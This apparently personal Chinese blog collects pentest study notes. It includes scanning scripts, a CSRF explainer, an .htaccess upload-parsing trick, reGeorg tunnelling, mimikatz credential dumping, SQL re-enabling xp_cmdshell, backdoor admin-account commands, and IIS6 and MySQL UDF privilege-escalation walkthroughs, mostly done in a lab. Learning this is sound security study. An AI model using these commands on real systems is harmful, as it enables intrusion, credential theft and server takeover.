一个有梦想的少年。

利用zoomEye API进行采集

# coding = utf-8
import requests
import json

def login():
    url = 'https://api.zoomeye.org/user/login'
datas = {  "username": "*****@qq.com",
"password": "******"                                #这里填上你的账号密码
}
    datas = json.dumps(datas)
    r = requests.post(url,data=datas)
return json.loads(r.content)['access_token']

def main():
    headers = {'Authorization':'JWT '+login()}
    url = 'https://api.zoomeye.org/host/search?query=tomcat'  #可以根据需求增加参数进行精确查找
r_reget = requests.get(url,headers = headers)
    ip = json.loads(r_reget.content)['matches']
for i in ip:
print i['ip']

if __name__ == '__main__':
    main()


代码也是模仿I春秋里写的

ZoomEye API 参考手册  https://www.zoomeye.org/api/doc#overview

Python百度URL采集器

import sys
import threading
import  Queue
import requests
from bs4 import BeautifulSoup as bs
import re


header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}
class Baidu_spider(threading.Thread):
def __init__(self,queue):
        threading.Thread.__init__(self)
self.queue = queue
def run(self):
while not self.queue.empty():
            urls = self.queue.get()
try:
                spider(urls)
except Exception,e:
print e
pass


def spider(url):
    r = requests.get(url, headers=header)
    soup = bs(r.content,'lxml' )
    urls = soup.find_all(name='a',attrs={'data-click':re.compile('.'),'class':None})
for i in urls:
        url_r = requests.get(i['href'],headers = header)
if url_r.status_code == 200:
            url_index = url_r.url.split('/')[0]+'//'+url_r.url.split('/')[2]
            url_para = url_r.url
print url_index,'...'
f2 = open('url_para.txt', 'a+')
            f2.write(url_para + '\n')
            f2.close()
with open('url_index.txt') as f:
if  url_index not in f.read():
                    f1 = open('url_index.txt','a+')
                    f1.write(url_index+'\n')
                    f1.close()



def keyword(key):
    queue = Queue.Queue()
for i in range(0,101,10):
        queue.put("https://www.baidu.com/s?wd=%s&pn=%s"%(key,str(i)))
    threads = []
    threading_count = 3
for i in range(threading_count):
        threads.append(Baidu_spider(queue))
for i in range(threading_count):
        threads[i].start()
for i in range(threading_count):
        threads[i].join()



if __name__ == '__main__':
    f1 = open('url_index.txt','w')
    f1.close()
    f2 = open('url_para.txt','w')
    f2.close()
if len(sys.argv) != 2:
print "example:url_key.py keyword"
else:
        keyword(sys.argv[1])


运行效果图




代码是模仿i春秋上面的课程打出来的  思路和内容都很容易理解

python正则表达式

元字符

.                    匹配任意字符(不包括换行符)

^                    匹配开始位置,多行模式下匹配每一行的开始

$                    匹配结束位置,多行模式下匹配每一行的结束

*                    匹配前一个元字符0到多次

+                    匹配前一个元字符1到多次

?                    匹配前一个元字符0到1次

{m,n}                匹配前一个元字符m到n次

\\                   转义字符,跟在其后的字符将失去作为特殊元字符的含义,例如\\.只能匹配.,不能再匹配任意字符

[]                   字符集,一个字符的集合,可匹配其中任意一个字符

|                    逻辑表达式 或 ,比如 a|b 代表可匹配 a 或者 b

(...)                分组,默认为捕获,即被分组的内容可以被单独取出,默认每个分组有个索引,从 1 开始,按照"("的顺序决定索引值

(?iLmsux)            分组中可以设置模式,iLmsux之中的每个字符代表一个模式,用法参见 模式 I

(?:...)              分组的不捕获模式,计算索引时会跳过这个分组

(?P<name>...)        分组的命名模式,取此分组中的内容时可以使用索引也可以使用name

(?P=name)            分组的引用模式,可在同一个正则表达式用引用前面命名过的正则

(?#...)              注释,不影响正则表达式其它部分,用法参见 模式 I

(?=...)              顺序肯定环视,表示所在位置右侧能够匹配括号内正则

(?!...)              顺序否定环视,表示所在位置右侧不能匹配括号内正则

(?<=...)             逆序肯定环视,表示所在位置左侧能够匹配括号内正则

(?<!...)             逆序否定环视,表示所在位置左侧不能匹配括号内正则

(?(id/name)yes|no)   若前面指定id或name的分区匹配成功则执行yes处的正则,否则执行no处的正则

\number              匹配和前面索引为number的分组捕获到的内容一样的字符串

\A                   匹配字符串开始位置,忽略多行模式

\Z                   匹配字符串结束位置,忽略多行模式

\b                   匹配位于单词开始或结束位置的空字符串

\B                   匹配不位于单词开始或结束位置的空字符串

\d                   匹配一个数字, 相当于 [0-9]

\D                   匹配非数字,相当于 [^0-9]

\s                   匹配任意空白字符, 相当于 [ \t\n\r\f\v]

\S                   匹配非空白字符,相当于 [^ \t\n\r\f\v]

\w                   匹配数字、字母、下划线中任意一个字符, 相当于 [a-zA-Z0-9_]

\W                   匹配非数字、字母、下划线中的任意字符,相当于 [^a-zA-Z0-9_]

代码这种东西真的是要多打不然真的很容易忘记

简单的匹配

假设匹配出sec-wiki  web页面的标题


就对图中的关键字进行匹配写出正则

遍历输出

效果图



关于CSRF

上次被面试官问到这个问题,然后自己也把自己说得懵逼了,后面就恶补了一下这方面的知识。

CSRF全称叫做跨站请求伪造,攻击过程就是攻击者利用用户的Cookie向服务端发出一个请求,而这个请求并不是用户自己想要发出的请求。与XSS不同的是:XSS目的是获取用户cookie,CSRF目的是通过用户cookie完成一次精心构造的请求。

关于CSRF,按请求来分:GET型Post型。若按攻击方式来分,可以分为:HTML CSRF攻击、JSON Hijacking攻击和Flash CSRF等。

假设某论坛存在CSRF的漏洞,他删除帖子的功能是用GET请求来实现的,假设网站www.a.cn/?del=1为删除id为1的url,当用户在登陆的情况下,访问了含有www.a.cn/?del=999请求的连接,那么这个用户将会在不知情的情况下删除id为999的文章。在HTML中能设置src/href的都能发起一个GET请求。如果这样的事件发生在有金钱的交易过程中,则损失是巨大的。

我在本地也搭建了一个POST型的CSRF,通过诱骗管理员点击构造的CSRF页面,增加管理员账户。这里用到的工具是 CSRFTester

管理员后台添加用户界面



点击下载的CSRFTester文件夹下的run.bat就是启动这个工具,他会弹出一个CMD窗口表示正在监听端口,我们在浏览器上设置代理就能抓到包了。点击添加管理员,对抓到的包进行分析。


我们添加的管理员账号密码为admin123,发现没有Token,我们把他们的值都改成admin666,点击Generate HTML生成CSRF的页面。此时生成之后再访问生成的CSRF的页面


这时候admin666就已经添加上去了。在实际过程中,我们就把生成的CSRF页面放到一个用户可以访问的地址上。如果没有同源策略(同端口,同域,同协议),用户将会带着他的cookie访问CSRF的页面,服务端则会接受请求。分析生成的CSRF页面代码


在这里form表单的方式为POST。再使用JS代码提交这个POST请求。

在上面的攻击过程很容易暴露。管理员很容易发现。所以CSRF+XSS就很强大了。利用XSS来加载我们的CSRF代码就会显得攻击更加隐蔽。

防御CSRF的方案:

1.检查HTTP Referer字段是否同域

2.限制Seesion Cookie的生命周期

3.使用验证码

4.使用一次性token


htaccess 文件解析攻击

建一个.htaccess 文件,里面的内容如下

<FilesMatch "goodboy">

SetHandler application/x-httpd-php

</FilesMatch>

 

上传到目录然后目录里含有goodboy字符串的文件都被当作PHP文件解析

例如上传Goodboy.jpg  goodboy 无后缀名也可以



reGeorg+proxifier正向代理实现内网渗透

     网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连接的一端称为一个socket。

     reGeorg和我们平常使用的reDuh、tunna,和reGeorg一样,都是正向代理。一般都是用户上传一个代理脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做代理转发端口和流量

     Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器工作的网络程序能通过HTTPS或SOCKS代理或代理链。


这里先说一下实验环境

本机:192.168.61.186

跳板:网卡1:192.168.61.159  网卡2:10.10.1.128

目标:10.10.1.129

 

这里做了两个vlan  本机和目标机是无法PING通的 这里就是通过跳板进行代理再对目标机进行入侵

我们先上传代理脚本到服务器端


看到’ALL seem fine’ 就表示脚本已经成功上传

我们再使用reGeorg与代理脚本进行连接


-u  脚本URL地址 -P 端口

我们再配置proxifier


这里端口就填我们上面填的端口协议选择Socket5

我们现在就试着访问目标的机器


可以访问

这里出现了一丢丢小问题使用一个小型的端口扫描器没有扫出来  不知道是网络问题还是工具问题还是环境问题  有待研究。。


管理员Hash 抓取

Windows

当我们拿到一台服务器想要继续向内网深入的时候,管理员的hash对于我们就很重要了 

Windows下hash抓取有很多种工具 我这就写了mimikatz这个工具 知名度高!直接拿明文密码了


2.0版本就两条命令 

第一条:privilege::debug                  //提升权限

第二条:sekurlsa::logonpasswords  //抓取密码


Linux下

工具下载直达:https://github.com/huntergregal/mimipenguin

 

近日国外安全研究员huntergregal发布了工具mimipenguin,一款Linux下的密码抓取神器,可以说弥补了Linux下密码抓取的空缺。

需求:

ROOT权限

以下环境测试通过:

Kali 4.3.0 (rolling) x64 (gdm3)

Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)

Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)

XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)

VSFTPd 3.0.3-8+b1 (Active FTP client connections)

Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)

openssh-server 1:7.3p1-1 (Active SSH connections sudo usage)



1433端口的利用

这次写的是1433端口进行提权拿服务器 ,1433端口就是SQL SERVER数据库的服务端口(后面一直用MSSQL简称) , 在以前1433抓鸡很流行 ,都是抓1433端口的弱口令 ,好像MSSQL默认是可以支持外连的

说到底还是数据库用户权限设置的问题导致

用户角色介绍

sysadmin    执行SQL Server中的任何动作
serveradmin    配置服务器设置
setupadmin    安装复制和管理扩展过程
securityadmin    管理登录和CREATE DATABASE的权限以及阅读审计
processadmin    管理SQL Server进程
dbcreator    创建和修改数据库
diskadmin    管理磁盘文件
下面两个系统过程用来添加或删除固定服务器角色成员:
sp_addsrvrolemember
sp_dropsrvrolemember
注意:您不能添加、修改或删除固定服务器角色。另外,只有固定服务器角色的成员才能执行上述两个系统过程来从角色中添加或删除登录账户。

这里说的是SA权限  并且在MSSQL没有被降权的情况下

首先找到数据库的用户账号密码  一般都是在Conn,db等配置文件里都会有 

我这里是直接用工具演示。。找到账号密码之后连接数据库并进行操作我这里是支持外连的,如果不支持外连就上脚本或者菜刀连接都可以执行SQL语句调用xp_cmdshell()函数

上图!


看到连接成功   执行命令但是他显示停止对组件的访问  

这时候我们就得利用SQL语句对这些组件的恢复

我在这里收集了网上的一些资料

执行以下SQL内容:


EXEC sp_configure 'show advanced options', 1 -- 

RECONFIGURE WITH OVERRIDE -- 

EXEC sp_configure 'xp_cmdshell', 1 -- 

RECONFIGURE WITH OVERRIDE -- 

EXEC sp_configure   'show advanced options', 0 -- 

接着就可以执行命令


如果第一个组建不可以修复 我们也可以利用别的组件来执行CMD命令 即命令下面的选项

搭建本地环境进行溢出提权

这次写的是溢出提权溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取root权限 溢出提权又分为远程溢出与本地溢出  这里我测试的是本地溢出提权

先说环境 IIS6.0  windows server 2003 asp

把一些经常用的CMD命令都保存下来

查看进程:tasklist

删除进程 Taskkill

net user 用户 密码 /add &net localgroup administrator 用户 /add

查看权限:whoami

查看版本:ver

查看制定用户信息:net user test

加入远程桌面用户组:net localgroup “Remote Desktop Users” test /add

查看所有管理权限的用户:net localgroup administrators

实验开始

我们先测试CMD是否被降低权限


这个时候明显是被降权了

我们先找到一个可读可写的目录上传我们的cmd 来进行突破  很多大马都有目录的测试功能 


在这里 我们将CMD上传到C:\wmpub路径下面 然后我们执行的cmd路径就为我们上传的cmd路径 


Cmd命令执行成功 要记得勾选Wscript组件 CMD的命令需要这个组件的支持

在这里我们显示我们的权限是nt authority\network service  这个用户是winodws的内置用户 是IIS的用户组 权限跟USER组一样 无法添加用户和管理员  我们就需要exp进行提权了

我们再执行systeminfo看看服务器的补丁情况

补丁打得很少 我们就可以根据他没有修复的补丁再选择相对应exp进行攻击

这里我用的是iis6.0的exp  接着上传exp 执行命令 


看 我们这里的权限变为system权限了  

添加管理员用户





可以看到123这个用户已经为管理员组  

接着就是远程连接我们先读取键值看看端口是否被修改


没有被修改  如果被修改了我们就开启想对应的端口  在这里我们就可以直接上传一个3389的VBS  使用system权限来运行


3389 已经开启

如果是内网的话就需要端口转发来进行连接不是的话就可以直接连接了


Mysql提权之udf提权

在我们拿到一个网站的WEBSHELL, 但是权限很低的时候,我们可以通过数据库提权,这里写的是MYSQL的UDF提权,MYSQL提权的方法其实有很多种,UDF提权是在MYSQL用户没有被降权的情况下进行的

大致步骤

1:找到mysql管理员用户密码

2.测试是否被降权

3.允许外联的话可以使用工具进行连接提权  不允许外联就上传脚本导入UDF.DLL进行连接提权  


找MYSQL管理员账号密码的方法

       1.网站的一些配置文件,conn,inc,config,data,sql,common等文件查看

查看MYSQL目录下/DATA/MYSQL/User.myd文件

       2.查看MYSQL目录下/DATA/MYSQL/User.myd文件


把这里的Hash值拿到CMD5解密

        3.利用hydra,hscan,脚本木马等进行爆破  使用工具爆破要在MYSQL允许外联的情况下进行 但是比起脚本木马速度快


Udf.dll文件的导入

Dll文件即动态链接库 就是许多函数的集合 

UDF.DLL 在MYSQL5.0版本以下放到系统目录就可以利用,5.1以上为了以防黑客利用,不能导入到系统目录下创建自定义的函数,所以版本不同我们导入的UDF.DLL文件不同

提权开始

通过下载配置文件中发现数据库管理员帐号这里帐号为空



可以执行MYSQL语句查看MYSQL版本

因为我们的脚本已经是在服务器上运行所以我们的地址填写Localhost也可以

这里我们可以使用工具测试外连状态


如果不支持外连我们就上传脚本导出DLL进行提权



先通过Cmdshell函数点击提交,然后我们再通过cmdshell函数执行我们的系统命令



System权限  剩下来的就不多说了 ~~



脚本的功能还是挺多的


© Goodboy|Powered by LOFTER